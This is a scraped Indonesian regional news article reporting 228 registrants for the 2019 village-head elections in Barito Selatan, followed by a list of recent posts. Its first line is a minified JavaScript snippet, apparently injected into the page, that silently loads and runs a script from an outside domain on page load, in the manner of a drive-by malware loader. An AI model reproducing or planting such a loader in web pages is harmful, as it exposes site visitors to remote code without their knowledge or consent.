(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sudah 228 Pendaftar Pilkades Serentak 2019 di Barsel


BUNTOK, Untuk tahapan Pemilihan Kades Serentak (Pilkades) 2019 di Kabupaten Barito Selatan sudah memasuki tahap kedua. Yakni sudah mulai proses pendaftaran bakal calon kades yang akan ikut bersaing akhir tahun ini.

Dinas Sosis Pemberdayaan Masyarakat Desa (DSPMD) Barsel melalui Kabid Adminitrasi dan Kelembagaan Desa, Samsul Bahri mengatakan, untuk proses Pilkades 2019 sudah memasuki tahap kedua, yakni para bakal calon sudah mulai mendaftarkan diri untuk maju di desa masing-masing.

“Jadi pada tahap kedua ini, calon sudah mendaftarkan dirinya untuk maju di desa masing-masing,” kata Samsul kepada Kanalkalimantan.com, Kamis (22/8).

Berdasarkan data yang masuk di DSPMD Barsel, sudah ada 228 orang yang mendaftarkan diri untuk maju menjadi Kades pada seluruh wilayah desa di Barsel yang menggelar Pilkades.

“Jadi dari 6 kecamatan yang masuk, sudah ada 228 orang yang mendaftarkan dirinya maju pada Pilkades serentak Oktober nanti,” ucap Samsul.

Diungkapkannya, dari 228 bakal calon kades itu malahan  di kecamatan Dusun Selatan dan Dusun Utara ada yang lebih dari 5 peserta sesuai dengan aturan yang sudah ditetapkan.

Adapun untuk desa yang lebih dari 5 peserta pendaftar antara lain, Desa Marawan Lama, Kecamatan Dusun Utara 7 orang, Desa Kalahien 7 orang, Desa Baru 6 orang, Desa Tanjung Jawa 8 orang, Desa Penda Asam 7 orang, empat desa terakhir ini berada dalam Kecamatan Dusun Selatan.

“Jadi pada lima desa melebihi kuota pendafat yang sesuai aturan pencalonan kades hanya untuk lima orang pendaftar, sedangkan untuk desa dari empat kecamatan lainnya semua berjalan lancar sesuai aturan,” beber Samsul.

Terkait kelebihan kuota pendaftar pada bakal calon kades itu, pihaknya akan melakukan tes wawancara dan tertulis kepada pada pendaftar. Untuk hasilnya nanti, tidak menutup kemungkinan tidak hanya berkurang jadi lima, namun bisa menjadi dua.

“Saat dilaksanakan tes ulang kepada para pendaftar calon kades nanti, hasilnya tidak hanya mengurangi untuk menjadi lima saja, bisa menjadi dua calon saja,” tandas Samsul. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

2 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

5 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

8 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

10 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

10 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

11 jam ago

This website uses cookies.